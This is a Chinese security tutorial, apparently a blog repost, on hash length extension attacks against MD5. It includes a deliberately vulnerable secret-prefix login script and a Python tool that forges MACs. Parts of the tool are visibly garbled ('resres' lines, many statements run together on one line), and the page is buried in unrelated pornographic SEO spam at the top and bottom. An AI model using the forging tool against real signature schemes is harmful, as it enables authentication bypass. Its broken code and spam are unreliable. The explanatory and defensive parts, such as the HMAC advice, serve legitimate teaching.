精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

容易受到哈希長度擴展攻擊的那些算法

安全 黑客攻防 算法
Hash,一般翻譯做“散列”,也有直接音譯為“哈?!钡模褪前讶我忾L度的輸入(又叫做預映射, pre-image),通過散列算法,變換成固定長度的輸出,該輸出就是散列值。

 

 

Hash,一般翻譯做“散列”,也有直接音譯為“哈希”的,就是把任意長度的輸入(又叫做預映射, pre-image),通過散列算法,變換成固定長度的輸出,該輸出就是散列值。這種轉換是一種壓縮映射,也就是,散列值的空間通常遠小于輸入的空間,不同的輸入可能會散列成相同的輸出,所以不可能從散列值來唯一的確定輸入值。簡單的說就是一種將任意長度的消息壓縮到某一固定長度的消息摘要的函數。

哈希長度擴展攻擊簡單的來講就是:

1.知道一個密文(SECRET)的哈希

2.知道密文的長度(SECRET LENGTH)

在不知道密文的情況下可以推算出密文+填充+追加消息(SECRET+PADDING+EXTRA)的哈希,也就是說在只知道密文長度和密文哈希的情況下,可以預測出密文和另一消息拼接后的哈希。

0x01 理解哈希算法流程

易受哈希長度擴展攻擊的哈希算法:SHA系列和MD系列。這兩個系列的哈希算法都有一個共同點——基于Merkle–Damgård構造。

上圖可以看出,Merkle–Damgård算法的流程如下:

1. 把消息劃分為n個消息塊

2. 對最后一個消息塊做長度填充

3. 每個消息塊都會和一個輸入向量做一個運算,把這個計算結果當成下個消息塊的輸入向量

0x02 理解MD5算法流程

了解了Merkle–Damgård算法的流程,下面詳細了解一下MD5算法的流程,我們可以參考RFC 1321(http://www.ietf.org/rfc/rfc1321.txt)。

MD5算法包括四大步驟:

  •  Append Padding Bits(填充bits)
  •  Append Length(填充長度)
  • Initialize MD Buffer(初始化向量)
  • Process Message in 16-Word Blocks(復雜的函數運算)

我們主要需要了解前三步,也就是MD5算法中的填充和生成初始化向量。首先,我們看一下MD5中填充bits的算法,該算法的流程如下:

1. 根據消息的長度確定填充的字節數,即填充后消息長度 mod 512bit = 448bit。舉個例子:一個消息是”message”,則這個消息是56bit,所以需要填充392bit。

2. 最小填充1bit最多填充512bit,即使消息長度 mod 512 = 448bit。也就是說,不管消息長度是多少,都必須進行填充。

3. 填充信息的第一個字節是0x80,剩余數據用0x00填充。

然后,我們看一下填充長度的流程:

填充長度的大小是64bit

長度是小端存儲的,也就是說高字節放在高地址中

如果消息的長度大于2 ^ 64,也就是大于2048PB。那么64bit無法存儲消息的長度,則取低64bit。

下圖是補位的示例,要進行哈希運算的消息是字符串”message”,則:

最后,初始化向量為固定值:

A 01 23 45 67 0x67452301

B 89 AB CD EF 0xEFCDAB89

C FE DC BA 98 0x98BADCFE

D 76 54 32 10 0x10325476

然后,用初始化向量和補位后的消息進行復雜的函數運算,最終得到消息”message”的MD5值為78e731027d8fd50ed642340b7c9a63b3。

0x03 理解MD5長度擴展攻擊

如果一個消息長度大于512bit,則會對消息按512bit進行切分,最后一個消息塊進行填充操作。

假設我們知道一個7字節也就是56bit的消息的MD5值是78e731027d8fd50ed642340b7c9a63b3。

則MD5算法對其進行運算時,會先補位,由于消息的內容我們不知道,所以補位的結果如下圖

然后會和初始向量進行復雜的函數運算,因為MD5值為78e731027d8fd50ed642340b7c9a63b3,故得到的結果為

A=0x0231e778

B=0x0ed58f7d

C=0x0b3442d6

D=0xb3639a7c

若向補位后的消息再追加一條消息字符串”admin”,則會對這個字符串進行補位,再利用上一個運算算出的值作為初始向量進行函數運算,最終得到的MD5值為e53a681a30ff99e3f6522270ca7db244。

這樣就完成了在不知道消息的情況下,計算出消息+填充+追加消息的MD5值。

我們可以驗證一下,假設驗證用戶登錄的程序是這樣的:

  1. import sys 
  2.   from urllib import unquote 
  3.  
  4.   def login(password, hash_val): 
  5.       m = hashlib.md5() 
  6.       secret_key = "message" 
  7.       m.update(secret_key + password) 
  8.       if(m.hexdigest() == hash_val): 
  9.           print "Login Successful!" 
  10.       else: 
  11.           print "Login Failed" 
  12.    
  13.   if __name__ == "__main__": 
  14.       password = unquote(sys.argv[1]) 
  15.       hash_val = unquote(sys.argv[2]) 
  16.       login(password, hash_val) 

現在只知道一組用戶名和hash,root和f3c36e01c874865bc081e4ae7af037ea

由分析可知,我們在知道secret_key長度的情況下,可以偽造padding,再通過追加字符串可以算出secret+padding+追加字符串的MD5值。假設我們追加的字符串為admin,則通過哈希擴展攻擊計算出md5(secret+padding+追加字符串) = e53a681a30ff99e3f6522270ca7db244。然后我們測試一下,顯示登錄成功:

md5擴展攻擊代碼如下(網上找的稍作修改,用法:python md5.py 攻擊的md5 追加的消息 secret的長度):

  1.  
  2.     # coding:utf-8    
  3.     import sys 
  4.     import struct 
  5.     import hashlib 
  6.     import binascii 
  7.         
  8.     def F(x, y, z): 
  9.         return (x & y) | ((~x) & z) 
  10.      
  11.      
  12.     def G(x, y, z): 
  13.         return (x & z) | (y & (~z)) 
  14.      
  15.      
  16.     def H(x, y, z): 
  17.         return x ^ y ^ z 
  18.      
  19.      
  20.     def I(x, y, z): 
  21.         return y ^ (x | (~z)) 
  22.      
  23.      
  24.     def _rotateLeft( x, n): 
  25.         return (x << n) | (x >> (32-n)) 
  26.      
  27.      
  28.     def XX(func, a, b, c, d, x, s, ac): 
  29.         res = 0L 
  30.         resres = res + a + func(b, c, d) 
  31.         resres = res + x 
  32.         resres = res + ac 
  33.         resres = res & 0xffffffffL 
  34.         res = _rotateLeft(res, s) 
  35.         resres = res & 0xffffffffL 
  36.         resres = res + b 
  37.      
  38.         return res & 0xffffffffL 
  39.      
  40.      
  41.     class md5(): 
  42.         def __init__(self): 
  43.             self.A, self.B, self.C, self.D = (0x67452301L, 0xefcdab89L, 0x98badcfeL, 0x10325476L) 
  44.      
  45.         def md5_compress(self, buf): 
  46.             if len(buf) != 64: 
  47.                 raise ValueError, "Invalid buffer of length %d: %s" % (len(buf), repr(buf)) 
  48.             inp = struct.unpack("I"*16, buf) 
  49.             a, b, c, d = self.A, self.B, self.C, self.D 
  50.      
  51.             # Round 1. 
  52.             S11, S12, S13, S14 = 7, 12, 17, 22 
  53.      
  54.             a = XX(F, a, b, c, d, inp[0], S11, 0xD76AA478L) # 1 
  55.             d = XX(F, d, a, b, c, inp[1], S12, 0xE8C7B756L) # 2 
  56.             c = XX(F, c, d, a, b, inp[2], S13, 0x242070DBL) # 3 
  57.             b = XX(F, b, c, d, a, inp[3], S14, 0xC1BDCEEEL) # 4 
  58.             a = XX(F, a, b, c, d, inp[4], S11, 0xF57C0FAFL) # 5 
  59.             d = XX(F, d, a, b, c, inp[5], S12, 0x4787C62AL) # 6 
  60.             c = XX(F, c, d, a, b, inp[6], S13, 0xA8304613L) # 7 
  61.             b = XX(F, b, c, d, a, inp[7], S14, 0xFD469501L) # 8 
  62.             a = XX(F, a, b, c, d, inp[8], S11, 0x698098D8L) # 9 
  63.             d = XX(F, d, a, b, c, inp[9], S12, 0x8B44F7AFL) # 10 
  64.             c = XX(F, c, d, a, b, inp[10], S13, 0xFFFF5BB1L) # 11 
  65.             b = XX(F, b, c, d, a, inp[11], S14, 0x895CD7BEL) # 12 
  66.             a = XX(F, a, b, c, d, inp[12], S11, 0x6B901122L) # 13 
  67.             d = XX(F, d, a, b, c, inp[13], S12, 0xFD987193L) # 14 
  68.             c = XX(F, c, d, a, b, inp[14], S13, 0xA679438EL) # 15 
  69.             b = XX(F, b, c, d, a, inp[15], S14, 0x49B40821L) # 16 
  70.      
  71.             # Round 2. 
  72.             S21, S22, S23, S24 = 5, 9, 14, 20 
  73.      
  74.             a = XX(G, a, b, c, d, inp[1], S21, 0xF61E2562L) # 17 
  75.             d = XX(G, d, a, b, c, inp[6], S22, 0xC040B340L) # 18 
  76.             c = XX(G, c, d, a, b, inp[11], S23, 0x265E5A51L) # 19 
  77.             b = XX(G, b, c, d, a, inp[0], S24, 0xE9B6C7AAL) # 20 
  78.             a = XX(G, a, b, c, d, inp[5], S21, 0xD62F105DL) # 21 
  79.             d = XX(G, d, a, b, c, inp[10], S22, 0x02441453L) # 22 
  80.             c = XX(G, c, d, a, b, inp[15], S23, 0xD8A1E681L) # 23 
  81.             b = XX(G, b, c, d, a, inp[4], S24, 0xE7D3FBC8L) # 24 
  82.             a = XX(G, a, b, c, d, inp[9], S21, 0x21E1CDE6L) # 25 
  83.             d = XX(G, d, a, b, c, inp[14], S22, 0xC33707D6L) # 26 
  84.             c = XX(G, c, d, a, b, inp[3], S23, 0xF4D50D87L) # 27 
  85.             b = XX(G, b, c, d, a, inp[8], S24, 0x455A14EDL) # 28 
  86.             a = XX(G, a, b, c, d, inp[13], S21, 0xA9E3E905L) # 29 
  87.             d = XX(G, d, a, b, c, inp[2], S22, 0xFCEFA3F8L) # 30 
  88.             c = XX(G, c, d, a, b, inp[7], S23, 0x676F02D9L) # 31 
  89.             b = XX(G, b, c, d, a, inp[12], S24, 0x8D2A4C8AL) # 32 
  90.      
  91.             # Round 3. 
  92.             S31, S32, S33, S34 = 4, 11, 16, 23 
  93.      
  94.             a = XX(H, a, b, c, d, inp[5], S31, 0xFFFA3942L) # 33 
  95.             d = XX(H, d, a, b, c, inp[8], S32, 0x8771F681L) # 34 
  96.             c = XX(H, c, d, a, b, inp[11], S33, 0x6D9D6122L) # 35 
  97.             b = XX(H, b, c, d, a, inp[14], S34, 0xFDE5380CL) # 36 
  98.             a = XX(H, a, b, c, d, inp[1], S31, 0xA4BEEA44L) # 37 
  99.             d = XX(H, d, a, b, c, inp[4], S32, 0x4BDECFA9L) # 38 
  100.             c = XX(H, c, d, a, b, inp[7], S33, 0xF6BB4B60L) # 39 
  101.             b = XX(H, b, c, d, a, inp[10], S34, 0xBEBFBC70L) # 40 
  102.             a = XX(H, a, b, c, d, inp[13], S31, 0x289B7EC6L) # 41 
  103.             d = XX(H, d, a, b, c, inp[0], S32, 0xEAA127FAL) # 42 
  104.             c = XX(H, c, d, a, b, inp[3], S33, 0xD4EF3085L) # 43 
  105.             b = XX(H, b, c, d, a, inp[6], S34, 0x04881D05L) # 44 
  106.             a = XX(H, a, b, c, d, inp[9], S31, 0xD9D4D039L) # 45 
  107.             d = XX(H, d, a, b, c, inp[12], S32, 0xE6DB99E5L) # 46 
  108.             c = XX(H, c, d, a, b, inp[15], S33, 0x1FA27CF8L) # 47 
  109.             b = XX(H, b, c, d, a, inp[2], S34, 0xC4AC5665L) # 48 
  110.      
  111.             # Round 4. 
  112.             S41, S42, S43, S44 = 6, 10, 15, 21 
  113.      
  114.             a = XX(I, a, b, c, d, inp[0], S41, 0xF4292244L) # 49 
  115.             d = XX(I, d, a, b, c, inp[7], S42, 0x432AFF97L) # 50 
  116.             c = XX(I, c, d, a, b, inp[14], S43, 0xAB9423A7L) # 51 
  117.             b = XX(I, b, c, d, a, inp[5], S44, 0xFC93A039L) # 52 
  118.             a = XX(I, a, b, c, d, inp[12], S41, 0x655B59C3L) # 53 
  119.             d = XX(I, d, a, b, c, inp[3], S42, 0x8F0CCC92L) # 54 
  120.             c = XX(I, c, d, a, b, inp[10], S43, 0xFFEFF47DL) # 55 
  121.             b = XX(I, b, c, d, a, inp[1], S44, 0x85845DD1L) # 56 
  122.             a = XX(I, a, b, c, d, inp[8], S41, 0x6FA87E4FL) # 57 
  123.             d = XX(I, d, a, b, c, inp[15], S42, 0xFE2CE6E0L) # 58 
  124.             c = XX(I, c, d, a, b, inp[6], S43, 0xA3014314L) # 59 
  125.             b = XX(I, b, c, d, a, inp[13], S44, 0x4E0811A1L) # 60 
  126.             a = XX(I, a, b, c, d, inp[4], S41, 0xF7537E82L) # 61 
  127.             d = XX(I, d, a, b, c, inp[11], S42, 0xBD3AF235L) # 62 
  128.             c = XX(I, c, d, a, b, inp[2], S43, 0x2AD7D2BBL) # 63 
  129.             b = XX(I, b, c, d, a, inp[9], S44, 0xEB86D391L) # 64 
  130.      
  131.             self.A = (self.A + a) & 0xffffffffL 
  132.             self.B = (self.B + b) & 0xffffffffL 
  133.             self.C = (self.C + c) & 0xffffffffL 
  134.             self.D = (self.D + d) & 0xffffffffL 
  135.             # print 'A=%s\nB=%s\nC=%s\nD=%s\n' % (hex(self.A), hex(self.B), hex(self.C), hex(self.D)) 
  136.      
  137.         def padding(self, n, sz=None): 
  138.             if sz is None: 
  139.                 sz = n 
  140.             pre = 64-8 
  141.             sz = struct.pack("Q",sz*8) 
  142.             pad = '\x80' 
  143.             n += 1 
  144.             if n % 64 <= pre: 
  145.                 pad += '\x00' * (pre - n % 64) 
  146.                 pad += sz 
  147.             else: 
  148.                 pad += '\x00' * (pre + 64 - n % 64) 
  149.                 pad += sz 
  150.             return pad 
  151.      
  152.         def pad(self, msg): 
  153.             return msg + self.padding(len(msg)) 
  154.      
  155.         def md5_iter(self, padding_msg): 
  156.             assert len(padding_msg) % 64 == 0 
  157.             for i in range(0, len(padding_msg), 64): 
  158.                 block = padding_msg[i:i+64] 
  159.                 self.md5_compress(padding_msg[i:i+64]) 
  160.      
  161.         def digest(self): 
  162.             return struct.pack('<IIII', self.A, self.B, self.C, self.D) def hexdigest(self): return binascii.hexlify(self.digest()).decode() def my_md5(self, msg): padding_msg = self.pad(msg) self.md5_iter(padding_msg) return self.hexdigest() # 通過md5值,逆向算出最后一輪的magic number def compute_magic_number(self, md5str): self.A = struct.unpack("I", md5str[0:8].decode('hex'))[0] self.B = struct.unpack("I", md5str[8:16].decode('hex'))[0] self.C = struct.unpack("I", md5str[16:24].decode('hex'))[0] self.D = struct.unpack("I", md5str[24:32].decode('hex'))[0] #print 'A=%s\nB=%s\nC=%s\nD=%s\n' % (hex(self.A), hex(self.B), hex(self.C), hex(self.D)) def extension_attack(self, md5str, str_append, lenth): self.compute_magic_number(md5str) p = self.padding(lenth) padding_msg = self.padding( len(str_append), lenth + len(p) + len(str_append) ) self.md5_iter(str_append + padding_msg) return self.hexdigest() if __name__ == "__main__": m = md5() if len(sys.argv) != 4: #print m.my_md5("123456") src = m.pad(sys.argv[1]) + sys.argv[2] print 'md5 padding ->',m.my_md5(src) 
  163.         else: 
  164.             print 'md5 extension_attack ->',m.extension_attack(sys.argv[1], sys.argv[2], 

0x04 總結

這個攻擊方式的原理是,知道一個密文的md5和密文的長度,可以推算出密文與擴展消息拼接后的md5。防范方法也很簡單:

方法1:用HMAC算法 HMAC(secret||padding)=H(secret||H(secret||padding))

方法2:交換secret和padding的位置,即MAC(padding||secret)

通常md5可以作為簽名來用,曾經有兩個漏洞,亞馬遜AWS和Flicker的簽名漏洞,均可以通過md5哈希長度擴展攻擊。最近也有一個phpwind的洞可用哈希長度擴展攻擊。

不過現在這個攻擊方式的發展趨勢應該是活在CTF中了233333

0x05 引用

http://www.ietf.org/rfc/rfc1321.txt

http://blog.chinaunix.net/uid-27070210-id-3255947.htm

責任編輯:趙寧寧 來源: 綠盟科技博客
相關推薦

2014-04-15 11:22:24

2024-08-23 15:02:23

2019-07-19 17:19:19

網絡安全銀行軟件

2023-08-17 15:40:52

2023-10-30 07:46:21

2024-07-04 15:47:28

2022-04-12 14:37:26

區塊鏈橋區塊鏈貨幣

2023-12-14 15:32:17

2021-02-19 09:23:37

僵尸網絡DDoS攻擊安卓設備

2010-12-28 10:48:37

2022-11-18 09:51:33

2015-09-16 11:53:21

2022-12-01 08:00:00

2024-12-27 15:41:47

2023-09-19 07:46:03

2018-11-20 08:57:41

2023-10-24 17:53:05

2021-06-29 10:51:59

移動攻擊網絡攻擊漏洞

2013-07-24 13:45:09

2020-09-01 09:51:13

云安全漏洞攻擊
點贊
收藏

51CTO技術棧公眾號

jizz欧美激情18| 男人的天堂成人在线| 亚洲视频精选在线| 国产成人精品电影| 中文字幕第22页| 日本视频在线播放| 影音先锋亚洲一区| 亚洲最大中文字幕| 奇米777在线视频| 人人干人人干人人| 成年人免费高清视频| 久草在线综合| 亚洲另类中文字| 精品国产中文字幕| 四虎永久免费地址| 国产精品麻豆| 日韩欧美999| 精品无人乱码一区二区三区的优势 | 一区二区三区日| 亚洲码欧美码一区二区三区| 欧洲色大大久久| 亚洲熟妇无码一区二区三区| 日本福利专区在线观看| 99久久精品国产导航| 欧美黑人国产人伦爽爽爽| 亚洲自拍偷拍精品| 国产美女精品视频免费播放软件| 色哟哟日韩精品| 91视频 -- 69xx| 伊人影院在线视频| 中文字幕中文字幕在线一区 | 国产jk精品白丝av在线观看| 亚洲精品v亚洲精品v日韩精品| 欧美性猛交xxxxxxxx| h无码动漫在线观看| 黄在线免费观看| 国产欧美精品一区| 欧美一区二区三区四区在线观看地址 | 里番在线播放| 亚洲精品国产一区二区精华液 | 福利在线视频网站| 国产精品美女久久久久高潮| 日本免费高清一区| 免费在线国产| 久久久另类综合| 免费观看成人高| 视频国产一区二区三区| 成人福利电影精品一区二区在线观看| 亚洲free性xxxx护士白浆| 中文字幕一区二区三区四区视频| 日韩电影在线看| 国产成人高潮免费观看精品| 国产三级精品三级在线观看| 亚洲欧美网站| 日韩av手机在线| 一级成人黄色片| 三级成人在线视频| 国产脚交av在线一区二区| 无码人妻一区二区三区线| 久久亚洲美女| 国产精品亚洲一区二区三区| 一级视频在线播放| 国内外成人在线| 91精品国产91久久久久青草| 亚洲大尺度视频| 成人免费高清视频在线观看| av成人综合网| 亚洲色图21p| 久久精品一区二区三区av| 色综合视频二区偷拍在线| 日本高清视频在线观看| 亚洲美女淫视频| 99热亚洲精品| 校园春色亚洲色图| 777午夜精品免费视频| 日韩久久久久久久久久久| 成人盗摄视频| 亚洲欧美国产精品久久久久久久 | 福利在线播放| 亚洲欧洲成人精品av97| 黄网站色视频免费观看| 男人的天堂免费在线视频| 日本电影亚洲天堂一区| 日韩成人精品视频在线观看| www.爱久久| 亚洲色图第三页| 国产精品白丝喷水在线观看| 日韩图片一区| 国产精品一区二区久久久| 精品国产999久久久免费| 国内成人精品2018免费看| 国产一区二区视频在线免费观看| 国产免费av在线| 亚洲精品成a人| 熟女少妇精品一区二区| 国产一区二区在线观| 日韩电影在线观看中文字幕| 国产美女永久免费无遮挡| 一区二区免费不卡在线| 日本亚洲精品在线观看| www.爱爱.com| 中文av一区二区| 久草视频国产在线| 色综合久久久| 国产视频精品在线| 中国毛片直接看| 久久免费国产| 国产精品美女久久久久av福利| 毛片在线播放网站| 亚洲激情自拍偷拍| 日批视频在线免费看| 国色天香久久精品国产一区| 国产视频精品一区二区三区| 久久视频免费看| 美女www一区二区| 国产又大又长又粗又黄| a级片免费在线观看| 91豆麻精品91久久久久久| japan高清日本乱xxxxx| 日本欧美肥老太交大片| 97久久久免费福利网址| 国产三级小视频| 丁香天五香天堂综合| 久久精彩视频| 欧美人与牲禽动交com| 欧美三级资源在线| 伊人网伊人影院| 午夜亚洲性色视频| 国产日韩在线一区二区三区| 黄视频在线观看网站| 色伊人久久综合中文字幕| 精品一区二区三区四区五区六区| 国产精品18毛片一区二区| 天天爱天天干天天操| 亚洲欧美电影一区二区| 污视频网址在线观看| 黑丝美女一区二区| 日本午夜精品理论片a级appf发布| 日韩中文字幕观看| 成人免费高清视频| 91视频 - 88av| 视频二区欧美| 久久777国产线看观看精品| 国产日韩一级片| 成人欧美一区二区三区1314| 无码人妻精品一区二区三区66| 外国成人在线视频| 欧美亚洲国产日韩2020| 亚洲欧美丝袜中文综合| 欧美日韩国产色视频| 亚洲av网址在线| 久久国产精品久久久久久电车 | 日本一区二区三区四区| 91黄色小网站| 青青草国产免费一区二区下载| 国产精品久久久久久久久粉嫩av| av电影在线观看| 欧美日韩高清在线| 免费在线观看a级片| 国内精品久久久久影院色| 男人的天堂成人| 蜜桃精品视频| 97欧美精品一区二区三区| 天天操天天干天天舔| 色综合久久九月婷婷色综合| 国产精品久久免费观看| 九九久久精品视频| 97在线免费视频观看| 九九热播视频在线精品6 | 色综合一本到久久亚洲91| 亚洲人成电影网站色| 啪啪小视频网站| 中文字幕一区二区三区色视频| 天堂av在线8| 欧美激情五月| 九九九九精品| 国产不卡123| 亚洲视频一区二区| 91国内精品视频| 日本一区二区视频在线观看| 亚洲老女人av| 国产一区二区三区四区三区四| 狠狠色狠狠色综合人人| 黄色成人在线视频| 九九热视频这里只有精品| 午夜视频福利在线观看| 欧美日韩一区精品| 久久免费精彩视频| 国产女人18毛片水真多成人如厕| 黄色动漫在线免费看| 成人三级毛片| 97欧美精品一区二区三区| 精品欧美不卡一区二区在线观看 | 欧美精品免费在线| 国产伦理吴梦梦伦理| 成人高清伦理免费影院在线观看| 成人免费在线观看视频网站| 国内精品久久久久久久97牛牛 | 亚洲视频tv| 欧美一二区视频| 麻豆精品久久久久久久99蜜桃| 亚洲人成小说网站色在线| 91av在线免费| 福利视频网站一区二区三区| 亚洲最大综合网| 日韩亚洲国产欧美| 97超碰免费观看| 欧美自拍视频| 亚洲一区二区三区香蕉| 日韩免费va| 97在线免费视频| 国产在线1区| 亚洲色图色老头| 午夜激情小视频| 日韩一区二区三区三四区视频在线观看 | 亚洲av毛片成人精品| 精品捆绑美女sm三区| 亚洲一级在线播放| 色久优优欧美色久优优| 日本熟妇毛茸茸丰满| 亚洲精品日产精品乱码不卡| 国产真人真事毛片视频| 久久综合色婷婷| 亚洲欧美日韩色| 国产成人精品免费一区二区| 亚洲最大天堂网| 日韩成人精品在线| 不卡影院一区二区| 国产农村妇女精品一二区| 亚洲 欧美 综合 另类 中字| 伊人成综合网| 特级毛片在线免费观看| 日本不卡二三区| 欧美一区二区在线视频观看| 全国精品免费看| 精品视频一区二区| 日韩激情毛片| 九九九九九精品| 精品三级av在线导航| 国产精品青青草| 北条麻妃在线一区二区免费播放 | www视频在线观看| 欧美猛交ⅹxxx乱大交视频| 成人在线观看免费网站| www.精品av.com| 日本在线视频观看| 久久影院中文字幕| 性欧美猛交videos| 久久一区二区三区喷水| 日韩激情视频| 牲欧美videos精品| 国产成人精品最新| 松下纱荣子在线观看| …久久精品99久久香蕉国产| 日韩精品美女| 日韩免费中文字幕| 日韩久久一区二区三区| 国产精品一区=区| 国产一区二区三区免费在线| 91精品婷婷国产综合久久蝌蚪| 在线视频成人| 成人三级在线| 日韩一级在线视频| 91国产免费看| 又骚又黄的视频| 欧美一区2区视频在线观看| 亚洲av无码乱码在线观看性色| 精品国产伦一区二区三区观看方式| 日本黄视频在线观看| 精品剧情在线观看| 四虎精品在线| 日韩电影免费在线观看中文字幕| 国产在线观看免费| 中文字幕在线播放av| 精品一二三四在线| 欧美一级小视频| 国产a视频精品免费观看| 伊人久久大香线蕉综合75| av成人资源| 亚洲天堂av老司机| xxxx视频在线观看| 99国产精品久久久久| 欧美黄色激情视频| 亚洲色欲色欲www| 日本熟妇成熟毛茸茸| 欧美丝袜自拍制服另类| 性生交大片免费全黄| 国产成人啪午夜精品网站男同| 男人操女人逼免费视频| 黄色日韩在线| 久久综合久久色| 热久久久久久久| 五月天国产视频| 国产欧美一区在线| 欧美黑人性猛交xxx| 舔着乳尖日韩一区| 在线观看不卡的av| 亚洲精品720p| 黄色小网站在线观看| 91国内精品久久| 99久久久国产| 日本欧美色综合网站免费| 欧美激情1区| 日韩不卡一二三| 99re成人精品视频| 91手机视频在线| 俺来俺也去www色在线观看| 午夜精品久久久99热福利| 久久天天久久| 51国产成人精品午夜福中文下载 | 欧美一区二区福利| 欧美日韩一区二区高清| 免费午夜视频在线观看| 美女视频黄免费的久久| 三级电影在线看| 亚洲激情校园春色| 日本视频免费在线| 色狠狠av一区二区三区| 国产裸体美女永久免费无遮挡| 亚洲电影免费观看高清| 久久精品视频免费看| 欧洲亚洲免费视频| 免费观看性欧美大片无片| 欧美日韩成人一区二区三区| 亚洲精品视频啊美女在线直播| 日韩va在线观看| 国产精品久久久久久久久免费相片 | 欧美人与性动交α欧美精品济南到| 成人看片人aa| 日韩一区亚洲二区| 91精品午夜视频| 91av国产精品| 中文字幕av一区中文字幕天堂 | 午夜精彩国产免费不卡不顿大片| 蜜臀视频一区二区三区| av网站免费线看精品| 国产精品久久久久久久av| 国产精品网站导航| 日韩中文字幕高清| 精品毛片乱码1区2区3区| 欧美草逼视频| 成人午夜电影在线播放| 欧美成人milf| 57pao国产成永久免费视频| 国产精品色婷婷| 国产免费av一区二区| 日韩成人免费视频| 超碰在线资源| 国产一区国产精品| 国产视频一区在线观看一区免费| 色婷婷综合网站| 亚洲视频在线观看三级| 久久成人在线观看| 亚洲国产精品va在线| 日本在线影院| 人禽交欧美网站免费| 奇米精品一区二区三区四区| 在线观看天堂av| 日韩西西人体444www| 好看的中文字幕在线播放| 高清视频在线观看一区| 国产视频一区三区| 亚洲精品成人av久久| 欧美福利电影网| 欧美1—12sexvideos| 久久精品成人一区二区三区蜜臀 | 国产精品福利在线观看播放| 亚洲精品在线网址| 亚洲国产欧美一区二区三区丁香婷| 天堂av资源网| 国产精品久久久久久一区二区| 久久久9色精品国产一区二区三区| 性生交大片免费看l| 岛国精品视频在线播放| sese一区| 成人动漫在线视频| 蜜桃av综合| 国产乱子轮xxx农村| 精品第一国产综合精品aⅴ| 台湾佬成人网| wwwjizzjizzcom| 久久久综合视频| 91麻豆国产视频| 97热精品视频官网| 色综合五月天| 国产伦精品一区三区精东| 欧美主播一区二区三区| 午夜av在线播放| 欧美视频观看一区| 国产毛片精品一区| 色av性av丰满av| 欧美激情图片区| 日韩免费视频| 制服丝袜在线第一页| 欧美日韩五月天| 国产欧洲在线| 亚洲av综合色区| 欧美激情一二三区| 色哟哟国产精品色哟哟| 国产在线精品成人一区二区三区|